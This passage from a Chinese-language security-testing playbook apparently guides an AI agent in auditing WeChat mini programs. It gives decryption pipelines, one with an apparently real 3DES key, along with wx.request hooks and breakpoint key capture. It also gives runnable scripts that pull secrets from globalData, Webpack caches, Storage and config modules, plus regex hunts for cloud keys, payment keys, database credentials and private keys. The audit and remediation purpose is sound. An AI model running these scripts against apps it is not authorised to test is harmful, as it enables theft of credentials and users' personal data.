key_encoding="utf-8",
iv_encoding="utf-8")
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<key>",
mode="ecb",
input_encoding="base64",
key_encoding="utf-8")
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="3des",
key="ed1d2af1b7a9bc",
mode="ecb",
input_encoding="base64",
key_encoding="utf-8")
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="rsa",
key="<PEM私钥>",
input_encoding="base64")
decrypt_ops(action="decrypt_payload", value="<text>", algorithm="md5", input_encoding="utf-8")
decrypt_ops(action="decrypt_payload", value="<text>", algorithm="sha256", input_encoding="utf-8")
decrypt_ops(action="decrypt_payload", value="<data>", algorithm="hmac-sha256",
key="<key>", input_encoding="utf-8", key_encoding="utf-8")
3.3 多层解密流水线
decrypt_ops(action="run_decrypt_pipeline",
value="<mina_edata_base64>",
steps=[
{
"type": "3des",
"key": "ed1d2af1b7a9bc",
"mode": "ecb",
"input_encoding": "base64",
"key_encoding": "utf-8"
},
{
"type": "md5-key-derive",
"key": "<VIP_TANK_session_token>",
"key_encoding": "utf-8"
},
{
"type": "aes",
"mode": "cbc",
"input_encoding": "base64"
}
])
decrypt_ops(action="run_decrypt_pipeline",
value="<加密响应体>",
steps=[
{"type": "aes", "key": "<key>", "iv": "<iv>", "mode": "cbc",
"input_encoding": "base64", "key_encoding": "utf-8"},
{"type": "base64"}
])
3.4 密码学攻击检测(v2.0 新增)
decrypt_ops(action="detect_ecb_pattern", value="<base64密文>")
analysis_ops(action="compare_two_requests",
request_id_a="<原始请求>",
request_id_b="<篡改密文末尾字节的请求>")
3.5 动态密钥追踪
如果静态分析无法确定 key/IV,使用断点追踪:
# 在加密函数调用前打断点
debugger_ops(action="break_on_xhr", url="/api/")
→ 拦截 XHR 请求,在加密前暂停
debugger_ops(action="get_paused_info")
→ 查看调用栈和作用域变量(含密钥值)
debugger_ops(action="evaluate_script",
expression="JSON.stringify({key: _aesKey, iv: _iv, mode: _cipherMode})")
→ 在断点处动态求值获取密钥
debugger_ops(action="step", action_type="into")
→ 单步进入加密函数
debugger_ops(action="resume_execution")
→ 恢复执行
3.6 运行时加密发现
decrypt_ops(action="discover_runtime_crypto_functions")
→ 自动发现页面中可调用的加密/解密函数
decrypt_ops(action="call_runtime_crypto_function",
function_name="<函数名>",
args=["<参数1>", "<参数2>"])
→ 在运行时调用加密函数,获取输入输出对照
Phase 4:逆向分析与代码审计
4.1 代码保护类型识别
# 第一步: 判断代码保护级别
debugger_ops(action="search_in_sources", query="webpackJsonp|__webpack_require__|webpackChunk")
→ Webpack 打包 → 跳转 4.2
debugger_ops(action="search_in_sources", query="_0x[a-f0-9]{4,6}|var _0x|\\\\u0030|\\\\x30")
→ OB 混淆 (obfuscator.io) → 跳转 4.3
debugger_ops(action="search_in_sources",
query="while.*true.*switch|for.*;;.*switch|case\\s+\\d{4,}:")
→ JSVMP 虚拟机保护 → 跳转 4.4
4.2 Webpack 拆包分析
# 列出所有 chunk
debugger_ops(action="search_in_sources", query="webpackChunkName|chunk-.*\\.js")
# 搜索特定 chunk 的内容
debugger_ops(action="get_script_source", url="<chunk URL>")
# 定位业务逻辑 chunk(按模块名搜索)
debugger_ops(action="search_in_sources", query="encrypt|decrypt|request|sign|api")
# Webpack 模块映射还原
# 每个模块通过 __webpack_require__(moduleId) 引用
# moduleId 通常在注释中标注: /* harmony import */ var _api = __webpack_require__(123)
# 搜索 __webpack_require__ 调用,建立 moduleId → 功能 映射表
4.3 OB 混淆还原
# OB 混淆特征: _0x 前缀变量 + 十六进制字符串数组
# 还原步骤:
1. 保存混淆脚本: debugger_ops(action="save_script_source", url="<URL>")
2. 提取字符串数组: 查找脚本顶部的大数组定义 var _0xabcd = [...]
3. 还原字符串引用: 将 _0x1234('0x1a2b') 替换为实际字符串值
4. 变量重命名: 将 _0x 前缀变量根据用途重命名
5. 控制流平坦化还原: 识别 switch-case 状态机 → 追踪状态转移 → 重组代码顺序
# 在运行时环境中还原字符串(利用小程序 JS 引擎)
runtime_ops(action="runtime_eval",
expression="(()=>{const arr=['hello','world','encrypt'];return arr.map((s,i)=>`_0x${i.toString(16)} = ${s}`).join('\\n')})()")
4.4 JSVMP 虚拟机保护分析
# JSVMP 识别标志:
# - 单文件 200KB+,函数/变量名完全无意义
# - 自定义解释器: while(true) { switch(opcode) { ... } }
# - 改写/劫持浏览器原生 API(XHR / fetch / Cookie)
# - 超大字节码数组 + 指针变量 + 栈操作 + 跳转指令
# 路径选择决策:
├─ JSVMP 劫持请求链路(XHR/fetch 拦截器)?
│ ├─ YES + 算法与环境深度绑定 → 走路径 B(动态 Hook 截取)
│ └─ YES + 签名逻辑相对独立 → 走路径 A(Hook 出入口追踪算法)
├─ JSVMP 仅生成签名参数?
│ ├─ 确认使用标准算法 → 路径 A,纯算法还原
│ └─ 完全自定义 + 环境依赖重 → 路径 B
└─ 无法判断 → 先快速测试路径 B(30 分钟),不行再走路径 A
# 路径 A: Hook 出入口追踪
# Step 1: Hook 加密/签名的输入输出
runtime_ops(action="runtime_eval",
expression="(()=>{const orig=wx.request;wx.request=function(obj){if(obj.url.includes('/api/')){console.log('[REQ]',obj.url,JSON.stringify(obj.data).slice(0,500))};return orig.apply(this,arguments)}})()")
# Step 2: Hook 加密函数本身
debugger_ops(action="break_on_xhr", url="/api/")
→ get_paused_info(include_scopes=True)
→ evaluate_js 获取密钥和明文
# 路径 B: 动态 Hook 截取签名结果
# 在 wx.request 调用前注入 Hook,截取最终签名值
network_ops(action="hook_wx_request")
→ 自动捕获加密前后的参数对比
4.5 小程序特有逆向要点
# 1. wx.request 拦截
runtime_ops(action="runtime_eval",
expression="(()=>{const o=wx.request;wx.request=function(c){const s=new Error().stack;console.log('[STACK]',s.slice(0,500));return o.call(this,c)}})()")
# 2. 全局加密函数发现
runtime_ops(action="runtime_eval",
expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&&(k.toLowerCase().includes('encrypt')||k.toLowerCase().includes('decrypt')||k.toLowerCase().includes('sign')||k.toLowerCase().includes('crypto'))))()")
# 3. Storage 中的敏感密钥提取
runtime_ops(action="runtime_eval",
expression="(()=>{try{return JSON.stringify({sync:wx.getStorageInfoSync(),keys:wx.getStorageInfoSync().keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k))})}catch(e){return String(e)}})()")
# 4. 检测反调试
runtime_ops(action="runtime_eval",
expression="(()=>{const checks=[];try{eval('debugger')}catch(e){checks.push('eval_blocked')};if(Function.prototype.toString().includes('native'))checks.push('toString_ok');return checks})()")
4.6 批量断点追踪多个接口的加密调用栈
# 对每个需要分析的加密接口:
for request_id in <加密请求列表>:
debugger_ops(action="break_on_xhr", url="<该请求的 API 路径>")
network_ops(action="trace_request_callstack", request_id=request_id)
→ 记录: 加密函数名 + 文件位置 + 行号
→ 同一加密函数被多个路由共享 → 集中分析该函数
→ 不同路由使用不同加密函数 → 逐一分析
4.7 源码与运行时敏感信息检测(v2.8 重写 — 最高优先级)
核心原则:密钥既可能硬编码在字符串字面量中(正则可扫),也可能藏在 getApp().globalData、Webpack 模块对象、require 导出的 config 模块、Storage 非关键词 key 中(正则扫不到)。两路并行,缺一不可。
4.7.0 运行时变量深度提取(v2.8 新增 — 先于正则扫描执行)
执行时机:Phase 0 环境搭建完成后立即执行,不依赖 search_in_sources(cachedata 格式也有效)。
A. getApp().globalData 深度提取(命中率最高)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var app=getApp();
if(!app) return 'getApp() returned null';
// 递归展开嵌套对象(最多 3 层),不做正则过滤,全量输出
function flat(obj,prefix,depth){
var r={};
if(depth>3||!obj||typeof obj!=='object'||Array.isArray(obj)) return r;
Object.keys(obj).forEach(function(k){
try{
var v=obj[k];
var fk=prefix?prefix+'.'+k:k;
if(typeof v==='object'&&v!==null) Object.assign(r,flat(v,fk,depth+1));
else r[fk]=String(v).slice(0,300);
}catch(e){}
});
return r;
}
var all=flat(app,'app',0);
// 第一遍:敏感字段关键词命中
var sensitive={};
Object.keys(all).forEach(function(k){
if(/token|secret|key|ak|sk|pass|auth|api|baseUrl|base_url|host|endpoint|env|appid|openid|unionid|bucket|region|oss|cos|cdn|sms|push|map|pay|private|mch/i.test(k))
sensitive[k]=all[k];
});
return JSON.stringify({
allCount:Object.keys(all).length,
sensitiveCount:Object.keys(sensitive).length,
sensitive:sensitive,
rawGlobalData:JSON.stringify(app.globalData||{}).slice(0,2000)
});
}catch(e){return 'ERR:'+String(e)}
})()")
→ 典型命中:app.globalData.accessKeyId / secretKey / baseUrl / mapKey / smsKey
→ 若 globalData 中发现 AK/SK → 🔴 CRITICAL,无需等正则扫描,立即报告
B. Webpack 模块缓存遍历(config.js / constants.js / request.js 全命中)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
// __webpack_require__.c 是已缓存的模块实例;.m 是模块定义函数
var cache=null;
if(typeof __webpack_require__!=='undefined'){
cache=__webpack_require__.c||__webpack_require__.m;
}
if(!cache) return JSON.stringify({status:'webpack not found'});
var hits=[];
Object.keys(cache).forEach(function(k){
try{
var mod=cache[k];
var exp=mod&&mod.exports!==undefined?mod.exports:mod;
var s=JSON.stringify(exp);
if(!s||s.length<5||s.length>30000) return;
if(/secret|apiKey|api_key|accessKey|access_key|appSecret|app_secret|baseUrl|base_url|apiUrl|api_url|apiHost|api_host|bucket|oss.*config|cos.*config|cdnUrl|smsKey|pushKey|mapKey|mchId|mchKey|payKey|privateKey|paySecret/i.test(s)){
hits.push({moduleId:k, preview:s.slice(0,500)});
}
}catch(e){}
});
return JSON.stringify({totalModules:Object.keys(cache).length,hitCount:hits.length,hits:hits.slice(0,15)});
}catch(e){return 'ERR:'+String(e)}
})()")
→ 关键说明:Webpack 压缩后对象属性名不变(如 baseUrl/secretKey),即使变量名变了属性名也在
→ 命中含 secretKey/appSecret 的模块 → 提取完整内容,确认值是否为真实密钥
C. require() 主动加载已知 config 模块路径
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var paths=[
'config','./config','../config',
'config/index','../config/index','../../config/index',
'utils/config','utils/request','utils/http','utils/api','utils/constant',
'common/config','common/constants','common/api','common/env',
'api/config','api/base','api/index',
'constants','./constants','../constants',
'env','./env','../env','./settings','settings',
'store/index','store/modules/user',
];
var found={};
paths.forEach(function(p){
try{
var m=require(p);
var s=JSON.stringify(m);
if(s&&s.length>2&&s!=='{}') found[p]=s.slice(0,600);
}catch(e){}
});
return JSON.stringify({tried:paths.length,found:Object.keys(found).length,modules:found});
})()")
→ require('config/index') 导出含 {baseUrl, appId, mapKey} → 记录全部值
→ require('utils/request') 导出含 {baseURL, secretKey} → 🔴 API 密钥泄露
D. Storage 全量扫描(不用关键词过滤 key,看值的内容)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var info=wx.getStorageInfoSync();
var all={};
info.keys.forEach(function(k){
try{
var v=wx.getStorageSync(k);
var s=typeof v==='string'?v:JSON.stringify(v);
// 跳过广告缓存和日志(通常很长),保留中小尺寸条目
if(s&&s.length>2&&s.length<3000) all[k]=s.slice(0,300);
}catch(e){}
});
return JSON.stringify({
totalKeys:info.keys.length,
currentSizeKB:Math.round(info.currentSize/1024),
allEntries:all
});
}catch(e){return 'ERR:'+String(e)}
})()")
→ 不用关键词过滤 key 名!「config」「appEnv」「setting」这类无害 key 名的值中可能含 AK/SK
→ 逐条检视所有值,特别关注 JSON 对象类型的存储值
E. 页面 data / props 中的敏感状态
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var pages=getCurrentPages();
var results=[];
pages.forEach(function(p){
var d=p.data||{};
var s=JSON.stringify(d);
// 页面 data 中常存放 token/userId/phone/openId 等运行时状态
if(/token|userId|openId|unionId|phone|mobile|idCard|secret|key|ak|password/i.test(s)){
results.push({route:p.route,sensitiveData:s.slice(0,1000)});
}
});
return JSON.stringify(results);
}catch(e){return 'ERR:'+String(e)}
})()")
F. wx.getAccountInfoSync() — 确认运行环境(影响后续利用策略)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var info=wx.getAccountInfoSync();
return JSON.stringify({
appId:info.miniProgram&&info.miniProgram.appId,
envVersion:info.miniProgram&&info.miniProgram.envVersion,
version:info.miniProgram&&info.miniProgram.version
});
}catch(e){return 'ERR:'+String(e)}
})()")
→ envVersion='develop' → 开发版,更可能含 debug 信息、测试密钥、内网地址
→ envVersion='trial' → 体验版
→ envVersion='release' → 正式版
G. 全局对象深度遍历(不只是 function,也查 object 类型变量)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var hits={};
Object.keys(globalThis||{}).forEach(function(k){
try{
var v=globalThis[k];
if(typeof v==='string'&&v.length>8&&v.length<500){
// 检查字符串值是否匹配已知 AK 前缀
if(/^(LTAI|AKID|AKIA|ghp_|sk-|ya29\.|AIza)/i.test(v)) hits[k]=v;
} else if(typeof v==='object'&&v!==null){
var s=JSON.stringify(v);
if(s&&s.length>5&&s.length<8000&&
/secret|apiKey|accessKey|appSecret|baseUrl|bucket|smsKey|mapKey|payKey|mchId/i.test(s))
hits[k]=s.slice(0,500);
}
}catch(e){}
});
return JSON.stringify({hitCount:Object.keys(hits).length,hits:hits});
})()")
4.7.0 执行 checklist:
□ A. getApp().globalData 全量展开并提取
□ B. Webpack 模块缓存遍历(含 .m 和 .c)
□ C. require() 主动加载 20+ 个常见 config 路径
□ D. Storage 全量扫描(不过滤 key 名)
□ E. 所有已打开页面的 data 状态检查
□ F. wx.getAccountInfoSync() 确认环境版本
□ G. globalThis 深度对象/字符串遍历
4.7.1 全量脚本敏感信息扫描
# 第一步: 列出所有已加载脚本
debugger_ops(action="list_scripts")
→ 获取脚本 URL 列表
# 第二步: 对每个脚本执行敏感信息关键词搜索
# 以下搜索按危害等级分组,逐组执行
4.7.2 云服务 AK/SK 检测(危害: CRITICAL)
debugger_ops(action="search_in_sources",
query="AKID[A-Za-z0-9]{32,48}|TENCENT_SECRET|secretId|secretKey|SecretId|SecretKey")
→ 命中 AKID... → 腾讯云 SecretId 泄露
debugger_ops(action="search_in_sources",
query="LTAI[A-Za-z0-9]{16,24}|ALIBABA_CLOUD_ACCESS|accessKeyId|accessSecret")
→ 命中 LTAI... → 阿里云 AK 泄露
debugger_ops(action="search_in_sources",
query="AKIA[A-Z0-9]{16}|AWS_ACCESS_KEY|aws_access_key|awsSecretAccessKey")
debugger_ops(action="search_in_sources",
query="qiniu|QINIU_ACCESS|QINIU_SECRET|ACCESS_KEY.*qiniu")
debugger_ops(action="search_in_sources",
query="upyun|UPYUN_|operator.*password|upyun.*secret")
debugger_ops(action="search_in_sources",
query="bce[_-]|BAIDU_CLOUD|baidu.*access|baidu.*secret")
debugger_ops(action="search_in_sources",
query="HUAWEI_CLOUD|huawei.*access|huawei.*secret|HW_ACCESS")
debugger_ops(action="search_in_sources",
query="JD_CLOUD|jdcloud|JD_ACCESS|JD_SECRET")
debugger_ops(action="search_in_sources",
query="accessKey|AccessKey|access_key|secretKey|SecretKey|secret_key|SECRET_KEY|ACCESS_KEY")
debugger_ops(action="search_in_sources",
query="accessKey\\s*[:\"]\\s*[\"'][A-Za-z0-9]{12,}[\"']|secretKey\\s*[:\"]\\s*[\"'][A-Za-z0-9]{12,}[\"']")
→ 精确匹配对象属性赋值的 AK/SK 键值对
debugger_ops(action="search_in_sources",
query="gateway.*accessKey|gateway.*secretKey|apiGateway|API_GATEWAY|gatewayConfig")
→ 命中 gateway + accessKey/secretKey 同现 → 高概率泄露
搜索后验证步骤(v2.2 新增 — 防止漏报):
# search_in_sources 对压缩代码的匹配可能不完整。
# 如果以上搜索全部返回 0 命中,执行以下二次验证:
# 验证 1: 直接搜 __wxConfig 中的配置信息
runtime_ops(action="runtime_eval",
expression="(()=>{try{var s=JSON.stringify(__wxConfig||{});return s.length>100?s.slice(0,3000):s}catch(e){return String(e)}})()")
# 验证 2: 搜全局变量中的 host/gateway/env 配置
runtime_ops(action="runtime_eval",
expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){if(/host|gateway|env|config|api|baseUrl/i.test(k)){try{r[k]=String(globalThis[k]).slice(0,200)}catch(e){}}}return JSON.stringify(r)})()")
# 验证 3: 搜所有脚本中直接出现的 32 位 hex 字符串(常见 SK 格式)
debugger_ops(action="search_in_sources",
query="[a-f0-9]{32}|[A-F0-9]{32}")
# 验证 4: 搜 env/PROD/TEST/PRE 等环境配置关键字(常与 AK/SK 同现)
debugger_ops(action="search_in_sources",
query="PROD.*host|TEST.*host|PRE.*host|env.*PROD|env.*TEST|\"PROD\"|\"TEST\"|\"PRE\"")
4.7.3 API 密钥与 Token 检测(危害: CRITICAL)
debugger_ops(action="search_in_sources",
query="wx[a-f0-9]{16}|appSecret|AppSecret|app_secret|APP_SECRET|WX_APPID|WX_APPSECRET")
→ 命中格式为 wx + 16 位 hex → 微信 AppId 泄露
→ 命中 appSecret → 微信 AppSecret 泄露(最高危)
debugger_ops(action="search_in_sources",
query="alipay.*appId|alipay.*privateKey|alipay.*publicKey|ALIPAY_|app_private_key|alipay_public_key")
debugger_ops(action="search_in_sources",
query="appId.*['\"]\\w{16,}['\"]|appSecret.*['\"]\\w{32,}['\"]|app_key|app_secret|APP_KEY|APP_SECRET")
debugger_ops(action="search_in_sources",
query="api[_-]?key|api[_-]?secret|api[_-]?token|API_KEY|API_SECRET|API_TOKEN|x-api-key|x-api-secret")
debugger_ops(action="search_in_sources",
query="mch_id|mch_key|mch_secret|partner_key|partnerKey|PAY_KEY|PAY_SECRET|paySignKey|wechatPay|wxPay|alipay.*key")
→ 命中 mch_key / partner_key → 微信支付/支付宝商户密钥泄露(严重)
4.7.4 JWT / Session / 签名密钥检测(危害: HIGH)
debugger_ops(action="search_in_sources",
query="jwt[_-]?secret|jwt[_-]?key|JWT_SECRET|jwtSecret|tokenSecret|TOKEN_SECRET")
debugger_ops(action="search_in_sources",
query="session[_-]?(secret|key)|SESSION_SECRET|sessionSecret|cookieSecret|COOKIE_SECRET")
debugger_ops(action="search_in_sources",
query="sign[_-]?key|sign[_-]?secret|SIGN_KEY|SIGN_SECRET|encrypt[_-]?key|encrypt[_-]?secret|ENCRYPT_KEY|CIPHER_KEY")
4.7.5 数据库与存储凭据检测(危害: CRITICAL)
debugger_ops(action="search_in_sources",
query="jdbc:|mongodb://|mysql://|postgresql://|redis://|mssql://|oracle:|sqlite:")
→ 命中连接串 → 数据库凭据明文泄露
debugger_ops(action="search_in_sources",
query="DB_HOST|DB_PORT|DB_USER|DB_PASS|DB_PASSWORD|DB_NAME|DATABASE_URL|DB_CONNECTION|MYSQL_|POSTGRES_|REDIS_")
debugger_ops(action="search_in_sources",
query="redis.*password|REDIS_PASSWORD|redis.*auth|requirepass")
debugger_ops(action="search_in_sources",
query="mongo.*password|MONGO_PASSWORD|mongo.*auth|mongodb.*credential")
debugger_ops(action="search_in_sources",
query="password.*['\"]\\S{6,}['\"]|passwd.*['\"]\\S{6,}['\"]|pwd.*['\"]\\S{6,}['\"]")
4.7.6 加密密钥硬编码检测(危害: HIGH)
debugger_ops(action="search_in_sources",
query="aes[_-]?(key|iv)|AES_KEY|AES_IV|des[_-]?key|DES_KEY|_aesKey|_aesIv|_desKey|cryptoKey|cipherKey")
debugger_ops(action="search_in_sources",
query="BEGIN\\s*(RSA|EC|DSA|OPENSSH)\\s*PRIVATE\\s*KEY|-----BEGIN.*PRIVATE KEY-----")
→ 命中完整 PEM 格式私钥 → 严重漏洞
debugger_ops(action="search_in_sources",
query="triple[_-]?des|3DES_KEY|3des[_-]?key|_3desKey|tripleDesKey")
debugger_ops(action="search_in_sources",
query="secretKey\\s*[:=]\\s*['\"]\\w{8,}|secret\\s*[:=]\\s*['\"]\\w{8,}|key\\s*[:=]\\s*['\"]\\w{8,}|iv\\s*[:=]\\s*['\"]\\w{8,}")
4.7.7 内网地址与基础设施泄露(危害: MEDIUM-HIGH)
debugger_ops(action="search_in_sources",
query="(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)\\d{1,3}\\.\\d{1,3}|intranet|internal|dev\\.|test\\.|staging\\.|local\\.|localhost")
debugger_ops(action="search_in_sources",
query="http://(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)|https://(dev|test|staging|uat)\\.|http://(dev|test|staging|uat)\\.")
debugger_ops(action="search_in_sources",
query="oss-|cos\\.|s3\\.amazonaws|storage\\.googleapis|blob\\.core\\.windows|cloudfront|aliyuncs\\.com|myqcloud\\.com|qcloud\\.com")
→ OSS 地址 + 附近有 AK/SK → 存储桶接管风险
4.7.8 第三方服务 Token 泄露(危害: MEDIUM-HIGH)
debugger_ops(action="search_in_sources",
query="ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{22,}|glpat-[A-Za-z0-9_\\-]{20,}|github.*token|gitlab.*token|GITHUB_TOKEN|GITLAB_TOKEN")
debugger_ops(action="search_in_sources",
query="oapi\\.dingtalk\\.com/robot|open\\.feishu\\.cn/open-apis/bot|qyapi\\.weixin\\.qq\\.com/cgi-bin/webhook")
→ 命中 Webhook URL → 可向群聊发送任意消息
debugger_ops(action="search_in_sources",
query="sms.*(secret|key|token)|SMS_SECRET|SMS_KEY|email.*password|EMAIL_PASSWORD|smtp.*password|sendgrid|mailgun")
debugger_ops(action="search_in_sources",
query="map.*key|MAP_KEY|push.*secret|PUSH_SECRET|gaode|amap|baidu.*map|tianyancha|shuidi")
4.7.9 个人信息泄露检测(危害: MEDIUM)
debugger_ops(action="search_in_sources",
query="1[3-9]\\d{9}")
debugger_ops(action="search_in_sources",
query="[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}")
debugger_ops(action="search_in_sources",
query="\\d{17}[\\dXx]")
debugger_ops(action="search_in_sources",
query="whitelist|white_list|ip_white|ipWhite|allowed_ips|ALLOWED_IPS")
4.7.10 敏感信息聚合与报告
# 收集所有命中结果后,按以下格式输出:
┌─────────────────────────────────────────────────────────────┐
│ 敏感信息检测报告 │
├─────────────────────────────────────────────────────────────┤
│ 危害等级 │ 类型 │ 命中数 │ 来源文件 │
├──────────────┼───────────────┼────────┼───────────────────────┤
│ 🔴 CRITICAL │ 云服务 AK/SK │ 3 │ app-service.js:1203 │
│ 🔴 CRITICAL │ 微信 AppSecret │ 1 │ vendor.js:5821 │
│ 🔴 CRITICAL │ 数据库连接串 │ 2 │ config.js:45 │
│ 🔴 CRITICAL │ 支付商户密钥 │ 1 │ pay-utils.js:89 │
│ 🟠 HIGH │ JWT Secret │ 1 │ app.js:234 │
│ 🟠 HIGH │ AES 加密密钥 │ 2 │ encrypt.js:67 │
│ 🟠 HIGH │ RSA 私钥 │ 0 │ - │
│ 🟡 MEDIUM │ 第三方 Token │ 3 │ notify.js:12 │
│ 🟡 MEDIUM │ 内网地址 │ 5 │ config.js:78 │
│ 🟡 MEDIUM │ 手机号/邮箱 │ 8 │ user-profile.js:45 │
├──────────────┴───────────────┴────────┴───────────────────────┤
│ 🔴 需立即处置: 6 项 (CRITICAL) │
│ 🟠 需尽快处置: 3 项 (HIGH) │
│ 🟡 建议整改: 16 项 (MEDIUM) │
└─────────────────────────────────────────────────────────────┘
# 逐项详情格式:
# 危害等级: CRITICAL
# 类型: 腾讯云 SecretId
# 命中内容(脱敏): AKID****a1b2 (32位)
# 来源文件: app-service.js 第 1203 行
# 上下文:
# const tencentConfig = {
# secretId: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
# secretKey: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
# bucket: 'myapp-1250000000',
# region: 'ap-guangzhou'
# };
# 风险: 攻击者可利用此 AK/SK 接管腾讯云 COS 存储桶,读取/删除/覆盖所有文件
# 建议: 1. 立即在腾讯云控制台禁用泄露的密钥
# 2. 使用临时密钥 (STS) 或服务端签名替代前端硬编码
# 3. 将 COS 上传改为通过业务后端代理
4.7.11 敏感信息扫描的完整执行清单